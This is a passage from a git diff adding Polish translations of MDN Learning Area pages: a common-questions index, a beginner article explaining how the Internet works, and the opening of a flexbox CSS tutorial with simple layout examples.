+
+<p class="summary">Tę sekcję Strefy Nauki zaprojektowano w celu podania odpowiedzi na popularne pytania, które mogą się pojawić, a niekoniecznie są częścią innych, ustrukturyzowanych ścieżek nauki (na przykład artykułów o <a href="/en-US/docs/Learn/HTML">HTML</a> czy <a href="/en-US/docs/Learn/CSS">CSS</a>). Jest to luźny zbiór pytań i odpowiedzi na nie.</p>
+
+<h2 id="Jak_działa_Sieć">Jak działa Sieć</h2>
+
+<p>Ta sekcja zawiera zasady działania sieci - pytania dotyczące ogólnej wiedzy o Sieci.</p>
+
+<dl>
+ <dt>
+ <h3 id="Jak_działa_Internet"><a href="/en-US/docs/Learn/Common_questions/How_does_the_Internet_work">Jak działa Internet?</a></h3>
+ </dt>
+ <dd><strong>Internet</strong> jest podstawą Sieci, techniczną infrastrukturą, która umożliwia jej funkcjonowanie. W swojej podstawie, Internet jest wielką siecią komputerów, które komunikują się ze sobą. Ten artykuł pokazuje jak to działa - na podstawowym poziomie.</dd>
+ <dd>
+ <h3 id="Jaka_jest_różnica_między_serwisem_internetowym_stroną_internetową_serwerem_i_wyszukiwarką"><a href="/en-US/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">Jaka jest różnica między serwisem internetowym, stroną internetową, serwerem i wyszukiwarką?</a></h3>
+ </dd>
+ <dd>Ten artykuł opisuje różne pojęcia związane z siecią - serwisy internetowe, strony, serwery i wyszukiwarki. Te pojęcia są często mylone przez początkujących albo używane w niewłaściwym kontekście. Nauczymy się, co każde z nich oznacza!</dd>
+ <dt>
+ <h3 id="Co_to_jest_URL">Co to jest<a href="/en-US/docs/Learn/Common_questions/What_is_a_URL"> URL?</a></h3>
+ </dt>
+ <dd>Obok {{Glossary("Hypertext")}} i {{Glossary("HTTP")}}, URL (Uniform Resource Locator) to jest jedno z kluczowych pojęć związanych z Internetem. Jest to mechanizm używany przez przeglądarki do znajdowania i wydobywania zasobów opublikowanych w Sieci.</dd>
+ <dt>
+ <h3 id="What_is_a_domain_name"><a href="/en-US/docs/Learn/Common_questions/What_is_a_domain_name">What is a domain name?</a></h3>
+ </dt>
+ <dd>Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.</dd>
+ <dt>
+ <h3 id="What_is_a_web_server"><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">What is a web server?</a></h3>
+ </dt>
+ <dd>The term "Web server" can refer to the hardware or software that serves web sites to clients across the Web — or both of them working together. In this article we go over how web servers work, and why they're important.</dd>
+ <dt>
+ <h3 id="What_are_hyperlinks"><a href="/en-US/docs/Learn/Common_questions/What_are_hyperlinks">What are hyperlinks?</a></h3>
+ </dt>
+ <dd>In this article, we'll go over what hyperlinks are and why they matter.</dd>
+</dl>
+
+<h2 id="Tools_and_setup">Tools and setup</h2>
+
+<p>Questions related to the tools/software you can use to build websites.</p>
+
+<dl>
+ <dt>
+ <h3 id="How_much_does_it_cost_to_do_something_on_the_Web"><a href="/en-US/docs/Learn/Common_questions/How_much_does_it_cost">How much does it cost to do something on the Web?</a></h3>
+ </dt>
+ <dd>When you're launching a website, you may spend nothing or your costs may go through the roof. In this article we discuss how much everything costs and what you get for what you pay (or don't pay).</dd>
+ <dt>
+ <h3 id="What_software_do_I_need_to_build_a_website"><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?</a></h3>
+ </dt>
+ <dd>In this article we explain which software components you need when you're editing, uploading, or viewing a website.</dd>
+ <dt>
+ <h3 id="What_text_editors_are_available"><a href="/en-US/docs/Learn/Common_questions/Available_text_editors">What text editors are available?</a></h3>
+ </dt>
+ <dd>In this article we highlight some things to think about when choosing and installing a text editor for web development.</dd>
+ <dt>
+ <h3 id="What_are_browser_developer_tools"><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools?</a></h3>
+ </dt>
+ <dd>Every browser features a set of devtools for debugging HTML, CSS, and other web code. This article explains how to use the basic functions of your browser's devtools.</dd>
+ <dt>
+ <h3 id="How_do_you_make_sure_your_website_works_properly"><a href="/en-US/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly">How do you make sure your website works properly?</a></h3>
+ </dt>
+ <dd>So you've published your website online — very good! But are you sure it works properly? This article provides some basic troubleshooting steps.</dd>
+ <dt>
+ <h3 id="How_do_you_set_up_a_local_testing_server"><a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">How do you set up a local testing server?</a></h3>
+ </dt>
+ <dd>
+ <div>
+ <p>This article explains how to set up a simple local testing server on your machine, and the basics of how to use it.</p>
+ </div>
+ </dd>
+ <dt>
+ <h3 id="How_do_you_upload_files_to_a_web_server"><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?</a></h3>
+ </dt>
+ <dd>This article shows how to publish your site online with <a class="glossaryLink" href="https://developer.mozilla.org/en-US/docs/Glossary/FTP" title="FTP: FTP (File Transfer Protocol) is the standard network protocol for transferring files from one host to another over the Internet through TCP.">FTP</a> tools — one of the most common ways to get a website online so others can access it from their computers.</dd>
+ <dt>
+ <h3 id="How_do_I_use_GitHub_Pages"><a href="/en-US/docs/Learn/Common_questions/Using_GitHub_Pages">How do I use GitHub Pages?</a></h3>
+ </dt>
+ <dd>This article provides a basic guide to publishing content using GitHub's gh-pages feature.</dd>
+ <dt>
+ <h3 id="How_do_you_host_your_website_on_Google_App_Engine"><a href="/en-US/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">How do you host your website on Google App Engine?</a></h3>
+ </dt>
+ <dd>Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.</dd>
+ <dt>
+ <h3 id="What_tools_are_available_to_debug_and_improve_website_performance"><a href="/en-US/docs/Tools/Performance">What tools are available to debug and improve website performance?</a></h3>
+ </dt>
+ <dd>This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check the memory usage, the JavaScript call tree, the amount of DOM nodes being rendered, and more.</dd>
+</dl>
+
+<h2 id="Design_and_accessibility">Design and accessibility</h2>
+
+<p>This section lists questions related to aesthetics, page structure, accessibility techniques, etc.</p>
+
+<dl>
+ <dt>
+ <h3 id="How_do_I_start_to_design_my_website"><a href="/en-US/docs/Learn/Common_questions/Thinking_before_coding">How do I start to design my website?</a></h3>
+ </dt>
+ <dd>This article covers the all-important first step of every project: define what you want to accomplish with it.</dd>
+ <dt>
+ <h3 id="What_do_common_web_layouts_contain"><a href="/en-US/docs/Learn/Common_questions/Common_web_layouts">What do common web layouts contain?</a></h3>
+ </dt>
+ <dd>When designing pages for your website, it's good to have an idea of the most common layouts. This article runs thorugh some typical web layouts, looking at the parts that make up each one.</dd>
+ <dt>
+ <h3 id="What_is_accessibility"><a href="/en-US/docs/Learn/Common_questions/What_is_accessibility">What is accessibility?</a></h3>
+ </dt>
+ <dd>This article introduces the basic concepts behind web accessibility.</dd>
+ <dt>
+ <h3 id="How_can_we_design_for_all_types_of_users"><a href="/en-US/docs/Learn/Common_questions/Design_for_all_types_of_users">How can we design for all types of users?</a></h3>
+ </dt>
+ <dd>This article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.</dd>
+ <dt>
+ <h3 id="What_HTML_features_promote_accessibility"><a href="/en-US/docs/Learn/Common_questions/HTML_features_for_accessibility">What HTML features promote accessibility?</a></h3>
+ </dt>
+ <dd>This article describes specific features of HTML that can be used to make a web page more accessible to people with different disabilities.</dd>
+</dl>
+
+<h2 id="HTML_CSS_and_JavaScript_questions">HTML, CSS and JavaScript questions</h2>
+
+<p>For common solutions to HTML/CSS/JavaScript problems, try the following articles:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto">Use HTML to solve common problems</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Howto">Use CSS to solve common problems</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Howto">Use JavaScript to solve common problems</a></li>
+</ul>
diff --git a/files/pl/learn/common_questions/jak_dziala_internet/index.html b/files/pl/learn/common_questions/jak_dziala_internet/index.html
new file mode 100644
index 0000000000..1ee3d15096
--- /dev/null
+++ b/files/pl/learn/common_questions/jak_dziala_internet/index.html
@@ -0,0 +1,100 @@
+---
+title: Jak działa Internet?
+slug: Learn/Common_questions/Jak_dziala_Internet
+tags:
+ - Beginner
+ - Tutorial
+ - WebMechanics
+translation_of: Learn/Common_questions/How_does_the_Internet_work
+---
+<div>{{LearnSidebar}}</div>
+
+<div class="summary">
+<p>W tym artykule omówiono, czym jest Internet i jak działa.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania:</th>
+ <td>Żadnych, ale zachęcamy do przeczytania najpierw <a href="/en-US/docs/Learn/Thinking_before_coding">artykułu o wyznaczaniu celów projektu</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Poznasz podstawy technicznej infrastruktury sieciowej i różnicę między Internetem a siecią.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Streszczenie">Streszczenie</h2>
+
+<p><strong>Internet</strong> jest szkieletem sieci, infrastruktury technicznej, która umożliwia korzystanie z sieci. W swojej najbardziej podstawowej postaci, Internet jest dużą siecią komputerów, które komunikują się ze sobą nawzajem.</p>
+
+<p><a href="https://pl.wikipedia.org/wiki/Internet#Geneza_i_historia_internetu" rel="external">Historia Internetu jest nieco niejasna</a>. Zaczęło się w latach 60. jako projekt badawczy finansowany przez USA, a następnie przekształciło się w infrastrukturę publiczną w latach 80. przy wsparciu wielu publicznych uniwersytetów i firm prywatnych. Różne technologie wspierające Internet ewoluowały z czasem, ale sposób jego funkcjonowania nie zmienił się tak bardzo: Internet to sposób na połączenie komputerów razem i zapewnienie, że cokolwiek się wydarzy, znajdą one sposób na pozostanie w kontakcie.</p>
+
+<h2 id="Aktywna_Nauka">Aktywna Nauka</h2>
+
+<ul>
+ <li><a href="https://www.youtube.com/watch?v=7_LPdttKXPc" rel="external">Jak działa internet w 5 minut</a>: 5-minutowe wideo objaśniające podstawy Internetu, autorstwa Aarona Titusa.</li>
+ <li><a href="https://www.youtube.com/watch?v=x3c1ih2NJEg">Jak działa Internet?</a> Szczegółowe, dobrze zobrazowane 8-minutowe wideo.</li>
+</ul>
+
+<h2 id="Głębsze_zanurzenie">Głębsze zanurzenie</h2>
+
+<h3 id="Prosta_sieć">Prosta sieć</h3>
+
+<p>Kiedy dwa komputery muszą się komunikować, trzeba je połączyć albo fizycznie (zazwyczaj za pomocą <a href="https://pl.wikipedia.org/wiki/Kabel_krosowany" rel="external">kabla Ethernet</a>), albo bezprzewodowo (na przykład przy pomocy <a href="https://pl.wikipedia.org/wiki/Wi-fi" rel="external">Wi-Fi</a> lub <a href="https://pl.wikipedia.org/wiki/Bluetooth" rel="external">Bluetooth</a>). Wszystkie nowoczesne komputery mogą utrzymywać dowolne z tych połączeń.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong> W dalszej części tego artykułu będziemy mówić tylko o kablach fizycznych, ale sieci bezprzewodowe działają tak samo.</p>
+</div>
+
+<p><img alt="Dwa komputery połączone razem" src="https://mdn.mozillademos.org/files/8441/internet-schema-1.png" style="height: 152px; width: 600px;"></p>
+
+<p>Taka sieć nie jest ograniczona do dwóch komputerów. Można podłączyć tyle komputerów, ile się chce. Ale to się szybko komplikuje. Jeśli próbujesz połączyć, powiedzmy dziesięć komputerów, potrzebujesz 45 kabli, z dziewięcioma wtyczkami na komputer!</p>
+
+<p><img alt="Dziesięć komputerów, wszystkie razem" src="https://mdn.mozillademos.org/files/8443/internet-schema-2.png" style="height: 576px; width: 600px;"></p>
+
+<p>Aby rozwiązać ten problem, każdy komputer w sieci jest podłączony do specjalnego malutkiego komputera zwanego <em>routerem</em>. Ten <em>router</em> ma tylko jedno zadanie: podobnie jak sygnalizator na stacji krajowej, dba o to, aby wiadomość wysłana z danego komputera dotarła do właściwego komputera docelowego. Aby wysłać wiadomość do komputera B, komputer A musi wysłać wiadomość do routera, który z kolei przekazuje wiadomość do komputera B i upewnia się, że wiadomość nie zostanie dostarczona do komputera C.</p>
+
+<p>Po dodaniu routera do systemu, nasza sieć składająca się z 10 komputerów wymaga tylko 10 kabli: jedna wtyczka na każdy komputer i router z 10 wtyczkami.</p>
+
+<p><img alt="Dziesięć komputerów z routerem" src="https://mdn.mozillademos.org/files/8445/internet-schema-3.png" style="height: 576px; width: 600px;"></p>
+
+<h3 id="Sieć_sieci">Sieć sieci</h3>
+
+<p>Na razie w porządku. Ale co z podłączeniem setek, tysięcy, miliardów komputerów? Oczywiście pojedynczy <em>router</em> nie działa na tak dużą skalę, ale jeśli uważnie czytasz, powiedzieliśmy, że <em>router</em> jest komputerem jak każdy inny, więc co powstrzymuje nas przed połączeniem dwóch <em>routerów</em>? Nic, więc zróbmy to.</p>
+
+<p><img alt="Dwa routery połączone razem" src="https://mdn.mozillademos.org/files/8447/internet-schema-4.png"></p>
+
+<p>Podłączając komputery do routerów, a następnie routery do routerów, jesteśmy w stanie skalować w nieskończoność.</p>
+
+<p><img alt="Routery połączone z routerami" src="https://mdn.mozillademos.org/files/8449/internet-schema-5.png" style="height: 563px; width: 600px;"></p>
+
+<p>Taka sieć jest bardzo zbliżona do tego, co nazywamy Internetem, ale czegoś nam brakuje. Zbudowaliśmy tę sieć dla naszych własnych celów. Są inne sieci: twoi przyjaciele, sąsiedzi, każdy może mieć swoją własną sieć komputerów. Ale tak naprawdę nie jest możliwe ułożenie kabli między domem a resztą świata, więc jak sobie z tym poradzić? Cóż, są już kable podłączone do twojego domu, na przykład zasilanie elektryczne i telefon. Infrastruktura telefoniczna już łączy Twój dom z kimkolwiek na świecie, więc jest to idealny przewód, którego potrzebujemy. Aby połączyć naszą sieć z infrastrukturą telefoniczną, potrzebujemy specjalnego urządzenia zwanego <em>modemem</em>. <em>Modem</em> ten zamienia informacje z naszej sieci w informacje zarządzane przez infrastrukturę telefoniczną i na odwrót.</p>
+
+<p><img alt="Router połączony z modemem" src="https://mdn.mozillademos.org/files/8451/internet-schema-6.png" style="height: 340px; width: 600px;"></p>
+
+<p>Więc jesteśmy podłączeni do infrastruktury telefonicznej. Następnym krokiem jest wysłanie wiadomości z naszej sieci do sieci, do której chcemy dotrzeć. W tym celu podłączymy naszą sieć do Dostawcy Usług Internetowych (ISP). Dostawca usług internetowych to firma, która zarządza kilkoma specjalnymi <em>routerami</em>, które są ze sobą połączone i mogą również uzyskać dostęp do routerów innych dostawców usług internetowych. Tak więc wiadomość z naszej sieci jest przekazywana przez sieć dostawców usług internetowych do sieci docelowej. Internet składa się z całej tej infrastruktury sieci.</p>
+
+<p><img alt="Pełny stos Internetowy" src="https://mdn.mozillademos.org/files/8453/internet-schema-7.png" style="height: 1293px; width: 340px;"></p>
+
+<h3 id="Wyszukiwanie_komputerów">Wyszukiwanie komputerów</h3>
+
+<p>Jeśli chcesz wysłać wiadomość do komputera, musisz określić, do którego. Tak więc każdy komputer podłączony do sieci ma unikalny adres, który go identyfikuje, zwany "adresem IP" (gdzie IP oznacza <em>Internet Protocol - Protokół Internetowy</em>). Jest to adres złożony z szeregu czterech liczb oddzielonych od siebie kropkami, na przykład <code>192.168.2.10</code>.</p>
+
+<p>To doskonale pasuje do komputerów, ale my, ludzie, mamy problem z zapamiętywaniem tego typu adresów. Aby to ułatwić, możemy nadać adres IP z czytelną dla człowieka nazwą zwaną <em>nazwą domeny</em>. Na przykład (w momencie pisania; adresy IP mogą się zmieniać) <code>google.com</code> to nazwa domeny używana do adresu IP <code>172.217.165.131</code>. Tak więc używanie nazwy domeny jest dla nas najłatwiejszym sposobem dotarcia do komputera przez Internet.</p>
+
+<p><img alt="Pokazuje, jak nazwa domeny może zmienić adres IP na inny" src="https://mdn.mozillademos.org/files/8405/dns-ip.png" style="height: 160px; width: 330px;"></p>
+
+<h3 id="Internet_i_sieć">Internet i sieć</h3>
+
+<p>Jak można zauważyć, podczas przeglądania stron internetowych za pomocą przeglądarki internetowej, zwykle używamy nazwy domeny, aby dotrzeć do witryny. Czy to oznacza, że Internet i sieć są tym samym? To nie jest takie proste. Jak widzieliśmy, Internet jest infrastrukturą techniczną, która pozwala połączyć ze sobą miliardy komputerów. Wśród tych komputerów, niektóre (zwane <em>serwerami sieciowymi</em>) mogą wysyłać wiadomości zrozumiałe dla przeglądarek internetowych. <em>Internet</em> jest infrastrukturą, podczas gdy <em>Sieć</em> to usługa zbudowana na bazie tej infrastruktury. Warto zauważyć, że istnieje kilka innych usług zbudowanych na bazie Internetu, takich jak poczta elektroniczna i {{Glossary("IRC")}}.</p>
+
+<h2 id="Dalsze_kroki">Dalsze kroki</h2>
+
+<ul>
+ <li><a href="/pl/docs/Learn/Getting_started_with_the_web/Jak_dziala_Siec">Jak działa Sieć</a></li>
+ <li><a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">Zrozumienie różnicy między witryną, stroną, serwerem i wyszukiwarką</a></li>
+ <li><a href="/en-US/docs/Learn/Understanding_domain_names">Zrozumienie nazw domen</a></li>
+</ul>
diff --git a/files/pl/learn/css/css_layout/flexbox/index.html b/files/pl/learn/css/css_layout/flexbox/index.html
new file mode 100644
index 0000000000..1a06738b54
--- /dev/null
+++ b/files/pl/learn/css/css_layout/flexbox/index.html
@@ -0,0 +1,340 @@
+---
+title: Flexbox
+slug: Learn/CSS/CSS_layout/Flexbox
+tags:
+ - Nauka
+ - Początkujący
+ - Poradnik
+ - Poradnik dla początkujących
+ - flexibox
+ - po polsku
+ - podstawa
+ - podstawowy
+ - wygląd
+ - wyświetlanie zawartości
+translation_of: Learn/CSS/CSS_layout/Flexbox
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">Flexbox to nowa technologia która już ma szerokie wsparcie wśród przeglądarek, dlatego jego używanie staje się coraz bardziej powszechne. Flexbox wykorzystuje narzędzia, które pozwalają na szybkie tworzenie kompleksowego i elastycznego układu strony. Flexbox to jednowymiarowa metoda rozmieszczania elementów w wierszach lub kolumnach, przedmioty rozciągają się aby wypełnić dodatkową przestrzeń lub kurczą się aby dopasować się do mniejszych przestrzeni. W tym artykule zawarto podstawowe informacje na ten temat.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymogi:</th>
+ <td>Podstawy HTML (zajrzyj do <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>) oraz znajomość zasad funkcjonowania CSS ( więcej na ten temat znajdziesz tu <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.)</td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Nauczenie się jak używać Flexboxa do tworzenia kreatywnego układu strony.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Dlaczego_Flexbox">Dlaczego Flexbox?</h2>
+
+<p>Przez długi czas jedynymi rzeczowymi narzędziami działającymi w przeglądarkach, do tworzenia układu strony w CSS były właściwości: float i position. Są dobre i działają, ale w niektórych przypadkach mogą być ograniczające i frustrujące.</p>
+
+<p>Poniższe wymagania dotyczące układu są trudne lub niemożliwe do osiągnięcia dzięki wcześniej wspomnianym narzędziom:</p>
+
+<ul>
+ <li>Pionowe wycentrowanie blokowego elementu z zawartością, względem rodzica.</li>
+ <li>Sprawienie by wszystkie "dzieci" w pojemniku zajęły taką samą ilość dostępnej szerokośći/wysokości, bez względu na to jaka szerokość/wysokość jest dostępna.</li>
+ <li>Umieszczenie kolumn o takiej samej wysokości w wielokolumnowym układzie nawet jeśli zawierają inną liczbę znaków</li>
+</ul>
+
+<p>Jak zauważysz w kolejnych sekcjach, flexbox ułatwia tworzenie układów strony. Zabawmy się!</p>
+
+<h2 id="Wprowadzenie_i_prosty_przykład">Wprowadzenie i prosty przykład</h2>
+
+<p>W tym artykule będziemy zachęcać cię do pracy poprzez serię ćwiczeń, które ułatwią ci zrozumienie jak działa flexbox. Aby zacząć musisz zrobić kopię pliku startowego — <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a> z naszego repozytorium na gitHubie — załadować w przeglądarce ( Firefox albo Chrome), i spojrzeć na kod w twoim edytorze kodu. Możesz także podejrzeć kod na żywo - <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox0.html">see it live here</a>.</p>
+
+<p>Zauważ, że mamy element {{htmlelement("header")}} z nagłówkiem w środku oraz {{htmlelement("section")}} zawierający trzy  {{htmlelement("article")}}. Użyjemy tego do stworzenia dość standardowego układu trzy-kolumnowego.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p>
+
+<h2 id="Określanie_które_elementy_układu_wykorzystać_jako_elastyczne_pudełka.">Określanie, które elementy układu wykorzystać jako elastyczne pudełka.</h2>
+
+<p>Aby zacząć musimy wybrać elementy, które mają zmienić położenie. Żeby to zrobić, ustawiamy specjalną wartość {{cssxref("display")}} na rodzicu elementu, na który chcemy oddziaływać.  W tym przypadku musimy poukładać elementy {{htmlelement("article")}}, więc display ustawiamy na{{htmlelement("section")}} (section staje się elastycznym kontenerem dla trzech bloków "article").</p>
+
+<pre class="brush: css notranslate">section {
+ display: flex;
+}</pre>
+
+<p>Rezultatem tego powinno być takie coś:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13408/flexbox-example2.png" style="border-style: solid; border-width: 1px; display: block; height: 348px; margin: 0px auto; width: 800px;"></p>
+
+<p>Pojedyncza deklaracja daje nam wszystko czego potrzebujemy — niewiarygodne, co nie? Mamy nasz układ kolumn z kilkoma kolumnami o jednakowych rozmiarach i mających tą samą wysokość. Dzieje się tak dlatego że domyślne wartości ustawione są w taki sposób żeby rowiązywać problem nierównych kolumn. Więcej o tym później.</p>
+
+<div class="note">
+<p><strong>Zanotuj</strong>: Możesz także ustawić display o wartości <code>inline-flex</code> jeśli życzysz sobie ułożenia liniowych elementów jako blokowe.</p>
+</div>
+
+<h2 id="Aside">Aside </h2>
+
+<p>Elementy blokowe w modelu flex box układają się względem dwóch osi:</p>
+
+<p><img alt="flex_terms.png" class="default internal" src="/files/3739/flex_terms.png" style="display: block; margin: 0px auto;"></p>
+
+<ul>
+ <li>Główna oś biegnie w kierunku, w którym układane są elementy blokowe (na przykład jako rzędy wszerz strony lub kolumny wzdłuż). Początek i koniec tej osi nazywane są <strong>main start</strong> i <strong>main end</strong>.</li>
+ <li>Oś poprzeczna jest osią biegnącą prostopadle do kierunku układu elementów. Początek i koniec osi są nazywane <strong>cross start</strong> i <strong>cross end.</strong></li>
+ <li>Rodzic ma ustawioną wartość <strong>display:flex</strong> czyli {{htmlelement("section")}} w naszym przykładzie) i jest nazywany kontenerem - <strong>flex container</strong>.</li>
+ <li>Elementy poukładane jako elastyczne w kontenerze są nazywane <strong>flex items</strong> ( {{htmlelement("article")}} elementy w naszym przykładzie).</li>
+</ul>
+
+<p>Pamiętaj o tej terminologii podczas następujących sekcji. Zawsze możesz tu wrócić jeśli zagubisz się w jakimś używanym tutaj terminie.</p>
+
+<h2 id="Kolumny_czy_wiersze">Kolumny czy wiersze?</h2>
+
+<p>Flexbox wprowadza wartość nazywaną {{cssxref("flex-direction")}}, która określa w którym kierunku main axis - oś główna biegnie (w jakim kierunku układają się dzieci typu flexbox) - domyślnie ustawiona jest wartość row, co powoduje że elementy układają się w wierszu w kierunku, w którym działa domyśny język przegądarki (z lewej do prawej w przypadku Angielskich przegądarek) </p>
+
+<p>Spróbuj dodać następującą deklarację do pliku css:</p>
+
+<pre class="brush: css notranslate">flex-direction: column;</pre>
+
+<p>Jak widzisz elementy ponownie ułożyły się kolumnowo tak jak przed dodaniem jakiegokolwiek css. Zanim zaczniemy dalej usuń tą deklarację ze swojego przykładu.</p>
+
+<div class="note">
+<p><strong>Zanotuj</strong>: Możesz również ułożyć elementy w odwrotnym kierunku używając wartośći <code>row-reverse</code> and <code>column-reverse</code>. Poeksperymentuj także z tymi właściwościami!</p>
+</div>
+
+<h2 id="Zawijanie">Zawijanie</h2>
+
+<p>Jednym z problemów który pojawia się kiedy umieszczasz dużą liczbę elementów różnej szerokości i wysokości mogą one zacząć się wylewać z elementu rodzica niszcząc układ strony.</p>
+
+<p>Zajrzyjmy do przykłady  <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox-wrap0.html">flexbox-wrap0.html</a>, i wypróbujmy <a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox-wrap0.html">viewing it live</a> (zrób kopię pliku jeśli chcesz podążać za tym przykładem):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13410/flexbox-example3.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;"></p>
+
+<p>Widzimy tutaj że elementy potomne rzeczywiście się wylewają poza rodzica. Jednym ze sposobów który umożliwia umiejscowienie tych elementów jest następująca deklaracja :</p>
+
+<pre class="brush: css notranslate">flex-wrap: wrap;</pre>
+
+<p>Przetestuj to teraz; jak widzisz układ strony wygląda lepiej w tym zestawieniu:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13412/flexbox-example4.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;"></p>
+
+<p>Teraz musimy powielić wiersze - w każdym wierszu mieści się sensowna liczba elementów potomnych, a wszystkie przepełnienia przenoszą się do kolejnego wiersza. Deklaracja <code>flex: 200px</code> ustawia właściwość dla każdego elementu "articles", która mówi że szerokość ma wynosić co najmniej 200px; wrócimy do tego trochę później. Jak mogłeś zauważyć ostatnie kilka dzieci w ostatnim wierszu są trochę szersze, więc cały wiersz jest wypełniony.</p>
+
+<p>Ale jest jeszcze coś co możemy zrobić. Po pierwsze, spróbuj zmienić twój flex-direction na wartość <code>row-reverse</code> - teraz jak widzisz, masz nadal wielowierszowy układ strony, ale zaczynający się od przeciwnego rogu okna przeglądarki i płynący w przeciwnym kierunku.</p>
+
+<h2 id="flex-flow_w_skrócie">flex-flow w skrócie</h2>
+
+<p>W tym punkcie dobrze zauważyć że istnieje skrót  {{cssxref("flex-direction")}} i {{cssxref("flex-wrap")}} — {{cssxref("flex-flow")}}. Na przykład możesz zamienić to:</p>
+
+<pre class="brush: css notranslate">flex-direction: row;
+flex-wrap: wrap;</pre>
+
+<p>na to:</p>
+
+<pre class="brush: css notranslate">flex-flow: row wrap;</pre>
+
+<h2 id="Elastyczne_wymiarowanie_elementów_flex">Elastyczne wymiarowanie elementów flex</h2>
+
+<p>Wróćmy teraz do naszego pierwszego przykładu, spójrzmy jak możemy kontrolować jaką przestrzeń zajmują elementy. Uruchom kopię <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a>, albo zrób kopię z pliku <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox1.html">flexbox1.html</a> jako nowy punkt startowy (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox1.html">see it live</a>).</p>
+
+<p>Po pierwsze dodaj następującą regułę na dole twojego pliku CSS:</p>
+
+<pre class="brush: css notranslate">article {
+ flex: 1;
+}</pre>
+
+<p>Jest to niepodzielna wartość procentowa określająca jaką część dostęnej przestrzeni wzdłuż głównej osi będzie zajmować każdy element elastyczny. W tym przypadku nadajemy każdemu elementowi {{htmlelement("article")}} wartość 1, co znaczy że wszystkie zajmują tyle samo wolnego miejsca, ile pozostało po ustawieniu dopełnienia i marginesu. Jest to proporcja co oznacza że nadanie każdemu elementowi wartośći 400000 dałoby dokładnie ten sam efekt.</p>
+
+<p>Teraz dodaj następującą zasadę poniżej poprzedniej:</p>
+
+<pre class="brush: css notranslate">article:nth-of-type(3) {
+ flex: 2;
+}</pre>
+
+<p>Teraz kiedy odświeżysz zauważysz że trzeci element {{htmlelement("article")}} zajmuje dwa razy tyle szerokości co pozostałe dwa — w sumie dostęne są cztery jednostki procentowe. Pierwsze dwa elementy mają po jeden, każdy więc zajmuje 1/4 dostępnej przestrzeni. Trzeci ma dwie jednostki, więc zajmuje 2/4 dostęnej przestrzeni (czyli 1/2).</p>
+
+<p>Możesz także ustawić minimalną wartość rozmiaru wewnątrz wartości flex. Spróbuj zaktualizować twój przykład następującymi zasadami:</p>
+
+<pre class="brush: css notranslate">article {
+ flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+ flex: 2 200px;
+}</pre>
+
+<p>To w zasadzie stwierdza "Każdy element najpierw będzie otrzymywał 200px dostępnej przetrzeni. Potem reszta dostępnej przestrzeni będzie dzielona według wartości procentowych." Spróbuj odświeżyć i zobaczysz różnicę w tym jaka przestrzeń jest dzielona przez elementy. </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p>
+
+<p>Prawdziwą wartość flexbox można zauważyć w flexibility/responsiveness — jeśli zmienisz rozmiar okna przeglądarki i dodasz {{htmlelement("article")}} element, układ strony nadal będzie działał prawidłowo.</p>
+
+<h2 id="flex_shorthand_versus_longhand">flex: shorthand versus longhand</h2>
+
+<p>{{cssxref("flex")}} to wartość skrótowa, którą możesz opisać trzy różne wartości:</p>
+
+<ul>
+ <li>The unitless proportion value we discussed above. This can be specified individually using the {{cssxref("flex-grow")}} longhand property.</li>
